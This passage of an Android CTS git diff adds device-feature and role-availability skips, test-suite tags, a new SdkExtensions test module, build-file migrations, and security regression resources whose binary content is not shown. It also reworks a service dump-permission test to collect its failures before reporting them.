-        assertThat(titleView.getText()).isEqualTo("NFC");
-    }
-
-    @Test
-    public void wifiPanel_correctTitle() {
-        launchWifiPanel();
-
-        final UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
-
-        // title must be "Wi\u2011Fi" or "WLAN"
-        assertThat(titleView.getText()).isIn(Arrays.asList("Wi\u2011Fi", "WLAN"));
-    }
-
-    @Test
     public void internetPanel_doneClosesPanel() {
         // Launch panel
         launchInternetPanel();
diff --git a/tests/tests/provider/src/android/provider/cts/WifiSliceTest.java b/tests/tests/provider/src/android/provider/cts/WifiSliceTest.java
index 873a90f..6fd0c19 100644
--- a/tests/tests/provider/src/android/provider/cts/WifiSliceTest.java
+++ b/tests/tests/provider/src/android/provider/cts/WifiSliceTest.java
@@ -19,6 +19,7 @@
 import static android.content.pm.PackageManager.PERMISSION_GRANTED;
 
 import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeFalse;
 
 import android.app.slice.Slice;
 import android.app.slice.SliceManager;
@@ -67,6 +68,7 @@
 
   @Before
   public void setUp() throws Exception {
+    assumeFalse("Skipping test: Auto does not support provider android.settings.slices", isCar());
     mWifiSlice = mSliceManager.bindSlice(WIFI_SLICE_URI, Collections.emptySet());
   }
 
@@ -133,6 +135,11 @@
     }
   }
 
+  private boolean isCar() {
+    PackageManager pm = mContext.getPackageManager();
+    return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+  }
+
   private boolean isWifiEnabled() {
     final WifiManager wifiManager = mContext.getSystemService(WifiManager.class);
     return wifiManager.getWifiState() == WifiManager.WIFI_STATE_ENABLED
diff --git a/tests/tests/renderscript/AndroidTest.xml b/tests/tests/renderscript/AndroidTest.xml
index 22a20cf..87ef08e 100644
--- a/tests/tests/renderscript/AndroidTest.xml
+++ b/tests/tests/renderscript/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="renderscript" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsRenderscriptTestCases.apk" />
diff --git a/tests/tests/renderscriptlegacy/AndroidTest.xml b/tests/tests/renderscriptlegacy/AndroidTest.xml
index affc8f7..33dff52 100644
--- a/tests/tests/renderscriptlegacy/AndroidTest.xml
+++ b/tests/tests/renderscriptlegacy/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="renderscript" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsRenderscriptLegacyTestCases.apk" />
diff --git a/tests/tests/resolverservice/AndroidTest.xml b/tests/tests/resolverservice/AndroidTest.xml
index ee0cc8c..fbd041d 100644
--- a/tests/tests/resolverservice/AndroidTest.xml
+++ b/tests/tests/resolverservice/AndroidTest.xml
@@ -22,6 +22,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/role/Android.bp b/tests/tests/role/Android.bp
index ac8d967..72b89ef 100644
--- a/tests/tests/role/Android.bp
+++ b/tests/tests/role/Android.bp
@@ -17,7 +17,7 @@
     sdk_version: "test_current",
 
     srcs: [
-        "src/**/*.java"
+        "src/**/*.java",
     ],
 
     static_libs: [
@@ -31,5 +31,6 @@
         "cts",
         "vts",
         "general-tests",
-    ]
+        "mts",
+    ],
 }
diff --git a/tests/tests/role/AndroidTest.xml b/tests/tests/role/AndroidTest.xml
index cf4b1d3..71a4861 100644
--- a/tests/tests/role/AndroidTest.xml
+++ b/tests/tests/role/AndroidTest.xml
@@ -22,6 +22,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
index 0da6988..3d96ab3 100644
--- a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
+++ b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
@@ -22,6 +22,7 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
 import android.app.AppOpsManager;
@@ -385,6 +386,7 @@
 
     @Test
     public void targetCurrentSdkAndChangeDefaultDialerThenIsCanceled() throws Exception {
+        assumeTrue(sRoleManager.isRoleAvailable(RoleManager.ROLE_DIALER));
         WaitForResultActivity activity = mActivityRule.getActivity();
         activity.startActivityToWaitForResult(new Intent()
                 .setComponent(new ComponentName(APP_PACKAGE_NAME,
@@ -396,6 +398,7 @@
 
     @Test
     public void targetCurrentSdkAndChangeDefaultSmsThenIsCanceled() throws Exception {
+        assumeTrue(sRoleManager.isRoleAvailable(RoleManager.ROLE_SMS));
         WaitForResultActivity activity = mActivityRule.getActivity();
         activity.startActivityToWaitForResult(new Intent()
                 .setComponent(new ComponentName(APP_PACKAGE_NAME,
@@ -408,6 +411,7 @@
     @FlakyTest
     @Test
     public void targetSdk28AndChangeDefaultDialerAndAllowThenIsDefaultDialer() throws Exception {
+        assumeTrue(sRoleManager.isRoleAvailable(RoleManager.ROLE_DIALER));
         sContext.startActivity(new Intent()
                 .setComponent(new ComponentName(APP_28_PACKAGE_NAME,
                         APP_28_CHANGE_DEFAULT_DIALER_ACTIVITY_NAME))
@@ -422,6 +426,7 @@
     @FlakyTest
     @Test
     public void targetSdk28AndChangeDefaultSmsAndAllowThenIsDefaultSms() throws Exception {
+        assumeTrue(sRoleManager.isRoleAvailable(RoleManager.ROLE_SMS));
         sContext.startActivity(new Intent()
                 .setComponent(new ComponentName(APP_28_PACKAGE_NAME,
                         APP_28_CHANGE_DEFAULT_SMS_ACTIVITY_NAME))
diff --git a/tests/tests/sdkext/Android.bp b/tests/tests/sdkext/Android.bp
new file mode 100644
index 0000000..9ad6c7f
--- /dev/null
+++ b/tests/tests/sdkext/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSdkExtTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "ctstestrunner-axt",
+    ],
+    srcs: [ "src/**/*.java" ],
+    test_config: "CtsSdkExtTestCases.xml",
+    test_suites: [
+        "cts",
+        "mts",
+        "general-tests",
+    ],
+    sdk_version: "system_current",
+}
diff --git a/tests/systemAppTest/test/AndroidManifest.xml b/tests/tests/sdkext/AndroidManifest.xml
similarity index 61%
rename from tests/systemAppTest/test/AndroidManifest.xml
rename to tests/tests/sdkext/AndroidManifest.xml
index dbcaf9e..a6391b5 100644
--- a/tests/systemAppTest/test/AndroidManifest.xml
+++ b/tests/tests/sdkext/AndroidManifest.xml
@@ -1,5 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2013 The Android Open Source Project
+<!--
+     Copyright (C) 2019 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
@@ -13,8 +14,15 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.systemapptest"
-    android:versionCode="1"
-    android:versionName="1.0" >
+    package="android.os.ext.cts">
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.os.ext.cts"
+                     android:label="CTS tests of android.os.ext">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
 </manifest>
diff --git a/tests/tests/sdkext/CtsSdkExtTestCases.xml b/tests/tests/sdkext/CtsSdkExtTestCases.xml
new file mode 100644
index 0000000..b22653c
--- /dev/null
+++ b/tests/tests/sdkext/CtsSdkExtTestCases.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Configuration for SdkExt Tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSdkExtTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.os.ext.cts" />
+    </test>
+</configuration>
diff --git a/tests/tests/sdkext/TEST_MAPPING b/tests/tests/sdkext/TEST_MAPPING
new file mode 100644
index 0000000..91947f3
--- /dev/null
+++ b/tests/tests/sdkext/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsSdkExtTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/sdkext/src/android/os/ext/cts/SdkExtensionsTest.java b/tests/tests/sdkext/src/android/os/ext/cts/SdkExtensionsTest.java
new file mode 100644
index 0000000..884f5ef
--- /dev/null
+++ b/tests/tests/sdkext/src/android/os/ext/cts/SdkExtensionsTest.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.ext.cts;
+
+import android.os.Build;
+import android.os.ext.SdkExtensions;
+import junit.framework.TestCase;
+
+public class SdkExtensionsTest extends TestCase {
+
+    /** Verify that getExtensionVersion only accepts valid extension SDKs */
+    public void testBadArgument() throws Exception {
+        // R is the first SDK version with extensions.
+        for (int sdk = -1_000_000; sdk < Build.VERSION_CODES.R; sdk++) {
+            try {
+                SdkExtensions.getExtensionVersion(sdk);
+                fail("expected IllegalArgumentException");
+            } catch (IllegalArgumentException expected) { }
+        }
+    }
+
+    /** Verifies that getExtensionVersion only return existing versions */
+    public void testValidValues() throws Exception {
+        for (int sdk = Build.VERSION_CODES.R; sdk <= 1_000_000; sdk++) {
+            // No extension SDKs versions yet.
+            assertEquals(0, SdkExtensions.getExtensionVersion(sdk));
+        }
+    }
+}
diff --git a/tests/tests/secure_element/Android.mk b/tests/tests/secure_element/Android.mk
deleted file mode 100644
index 5c7187e..0000000
--- a/tests/tests/secure_element/Android.mk
+++ /dev/null
@@ -1,16 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-include $(call all-subdir-makefiles)
-
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp b/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp
index ef5284b..41da980 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp
@@ -17,3 +17,26 @@
         enabled: false,
     },
 }
+
+//#################################################################
+// Unsigned Package
+
+android_test_helper_app {
+    name: "CtsSecureElementAccessControlTestCases1",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk
deleted file mode 100644
index feda0fd..0000000
--- a/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-##################################################################
-# Unsigned Package
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSecureElementAccessControlTestCases1
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := \
-	ctstestrunner-axt \
-	compatibility-device-util-axt
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SDK_VERSION := current
-LOCAL_JAVA_LIBRARIES += android.test.runner
-LOCAL_JAVA_LIBRARIES += android.test.base
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk b/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
index d82007a..3674e96 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
Binary files differ
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp b/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp
index 3cfeb55..d8b0df3 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp
@@ -17,3 +17,26 @@
         enabled: false,
     },
 }
+
+//#################################################################
+// Unsigned Package
+
+android_test_helper_app {
+    name: "CtsSecureElementAccessControlTestCases2",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk
deleted file mode 100644
index 7c85540..0000000
--- a/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-##################################################################
-# Unsigned Package
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSecureElementAccessControlTestCases2
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := \
-       ctstestrunner-axt \
-       compatibility-device-util-axt
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SDK_VERSION := current
-LOCAL_JAVA_LIBRARIES += android.test.runner
-LOCAL_JAVA_LIBRARIES += android.test.base
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk b/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
index 6c8cb70..30d9d13 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
Binary files differ
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp b/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp
index 9225e5d..2ab7b5b 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp
@@ -17,3 +17,26 @@
         enabled: false,
     },
 }
+
+//#################################################################
+// Unsigned Package
+
+android_test_helper_app {
+    name: "CtsSecureElementAccessControlTestCases3",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk
deleted file mode 100644
index 1520360..0000000
--- a/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-##################################################################
-# Unsigned Package
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSecureElementAccessControlTestCases3
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := \
-	ctstestrunner-axt \
-	compatibility-device-util-axt
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SDK_VERSION := current
-LOCAL_JAVA_LIBRARIES += android.test.runner
-LOCAL_JAVA_LIBRARIES += android.test.base
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk b/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
index 4d8f5e3..0335b88 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
Binary files differ
diff --git a/tests/tests/secure_element/access_control/Android.mk b/tests/tests/secure_element/access_control/Android.mk
deleted file mode 100644
index f776e48..0000000
--- a/tests/tests/secure_element/access_control/Android.mk
+++ /dev/null
@@ -1,20 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-cts_out_dir := $(HOST_OUT)/cts/android-cts/testcases
-$(call dist-for-goals,cts,$(cts_out_dir)/CtsSecureElementAccessControlTestCases1.apk)
-$(call dist-for-goals,cts,$(cts_out_dir)/CtsSecureElementAccessControlTestCases2.apk)
-$(call dist-for-goals,cts,$(cts_out_dir)/CtsSecureElementAccessControlTestCases3.apk)
-include $(call all-subdir-makefiles)
-
diff --git a/tests/tests/secure_element/omapi/Android.bp b/tests/tests/secure_element/omapi/Android.bp
new file mode 100644
index 0000000..a18aba1
--- /dev/null
+++ b/tests/tests/secure_element/omapi/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsOmapiTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    // was: sdk_version: "current",
+    libs: [
+        "android.test.runner",
+	"android.test.base",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/secure_element/omapi/Android.mk b/tests/tests/secure_element/omapi/Android.mk
deleted file mode 100644
index 1ac3720..0000000
--- a/tests/tests/secure_element/omapi/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsOmapiTestCases
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-	ctstestrunner-axt \
-	compatibility-device-util-axt
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-LOCAL_JAVA_LIBRARIES += android.test.runner
-LOCAL_JAVA_LIBRARIES += android.test.base
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index b2412f69..54df055 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -49,6 +49,15 @@
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
+
+        <activity
+            android:name="android.security.cts.SkiaJpegDecodingActivity"
+            android:label="Test overflow in libskia JPG processing">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/res/drawable/signal_sigsegv_in_jmem_ashmem.jpg b/tests/tests/security/res/drawable/signal_sigsegv_in_jmem_ashmem.jpg
new file mode 100644
index 0000000..f63f6ef
--- /dev/null
+++ b/tests/tests/security/res/drawable/signal_sigsegv_in_jmem_ashmem.jpg
Binary files differ
diff --git a/tests/tests/security/res/layout/activity_skiajpegdecoding.xml b/tests/tests/security/res/layout/activity_skiajpegdecoding.xml
new file mode 100644
index 0000000..68a0d68
--- /dev/null
+++ b/tests/tests/security/res/layout/activity_skiajpegdecoding.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="fill_parent"
+    android:layout_height="fill_parent"
+    android:gravity="center"
+    android:orientation="vertical">
+
+    <ImageView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:src="@drawable/signal_sigsegv_in_jmem_ashmem"
+        />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/security/res/raw/cve_2019_2129.3gp b/tests/tests/security/res/raw/cve_2019_2129.3gp
new file mode 100644
index 0000000..c461081
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2129.3gp
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2327.mkv b/tests/tests/security/res/raw/cve_2019_2327.mkv
new file mode 100644
index 0000000..48a8559
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2327.mkv
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ServicePermissionsTest.java b/tests/tests/security/src/android/security/cts/ServicePermissionsTest.java
index bfe1f55..60e27e6 100644
--- a/tests/tests/security/src/android/security/cts/ServicePermissionsTest.java
+++ b/tests/tests/security/src/android/security/cts/ServicePermissionsTest.java
@@ -79,6 +79,8 @@
             return;
         }
 
+        final ArrayList<String> failures = new ArrayList<>();
+
         for (String service : services) {
             mTempFile.delete();
 
@@ -109,7 +111,8 @@
                 } else {
                     // Service is throwing about something else; they're
                     // probably not checking for DUMP.
-                    throw e;
+                    failures.add("Service " + service + " threw exception: " + e);
+                    continue;
                 }
             } catch (TransactionTooLargeException | DeadObjectException e) {
                 // SELinux likely prevented the dump - assume safe
@@ -133,19 +136,29 @@
             }
 
             if (lines.size() > 1) {
-                fail("dump() for " + service + " produced several lines of output; this "
+                failures.add("dump() for " + service + " produced several lines of output; this "
                         + "may be leaking sensitive data.  At most, services should emit a "
                         + "single line when the caller doesn't have DUMP permission.");
+                continue;
             }
 
             if (lines.size() == 1) {
                 String message = lines.get(0);
                 if (!message.contains("Permission Denial") &&
                         !message.contains("android.permission.DUMP")) {
-                    fail("dump() for " + service + " produced a single line which didn't "
+                    failures.add("dump() for " + service + " produced a single line which didn't "
                             + "reference a permission; it may be leaking sensitive data.");
+                    continue;
                 }
             }
         }
+
+        if (!failures.isEmpty()) {
+            StringBuilder msg = new StringBuilder(failures.size() + " services failed:\n");
+            for (String failure: failures) {
+                msg.append(failure).append('\n');
+            }
+            fail(msg.toString());
+        }
     }
 }
